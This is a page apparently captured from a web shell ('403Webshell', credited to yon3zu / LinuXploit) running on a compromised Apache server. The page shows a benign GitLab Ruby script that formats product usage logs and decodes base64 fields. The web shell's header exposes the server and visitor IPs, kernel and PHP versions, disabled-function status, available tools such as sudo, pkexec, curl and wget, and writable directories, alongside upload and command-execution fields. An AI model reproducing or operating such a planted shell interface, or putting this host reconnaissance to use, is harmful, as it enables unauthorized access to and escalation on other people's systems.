403Webshell
Server IP : 188.151.22.197  /  Your IP : 216.73.217.74
Web Server : Apache/2.4.62 (Rocky Linux) OpenSSL/3.5.5
System : Linux wsten.se 5.14.0-687.30.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 13:09:21 UTC 2026 x86_64
User : apache ( 48)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/gitlab/embedded/service/gitlab-rails/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/gitlab/embedded/service/gitlab-rails/scripts/product_usage_data_event_formatter.rb
#!/usr/bin/env ruby

# frozen_string_literal: true

# Usage:
#   scripts/product_usage_data_event_formatter.rb [file...]
#
# Examples:
#   scripts/product_usage_data_event_formatter.rb log/product_usage_data.log
#   cat log/product_usage_data.log | scripts/product_usage_data_event_formatter.rb
#   tail -f log/product_usage_data.log | scripts/product_usage_data_event_formatter.rb
#
# Description:
#   This script formats GitLab product usage data event logs for better readability.
#   It pretty-prints the JSON and decodes the base64 encoded "cx" field in the payload.
#   The script reads from files provided as arguments or from standard input.

require 'json'
require 'base64'

ARGF.each_line do |line|
  # Parse the outer JSON
  data = JSON.parse(line.strip)

  # Parse the payload JSON string
  if data["payload"] && data["payload"].start_with?('{')
    payload = JSON.parse(data["payload"])

    # Decode the cx field if it exists
    if payload["cx"]
      begin
        decoded_cx = JSON.parse(Base64.decode64(payload["cx"]))
        payload["cx"] = decoded_cx
      rescue StandardError
        # Ignore the error and use the original value
      end
    end

    # Replace the original payload with the parsed version
    data["payload"] = payload
  end

  # Pretty print the result
  puts JSON.pretty_generate(data)
rescue StandardError => e
  puts "Error processing line: #{e.message}"
  puts line
end

Youez - 2016 - github.com/yon3zu
LinuXploit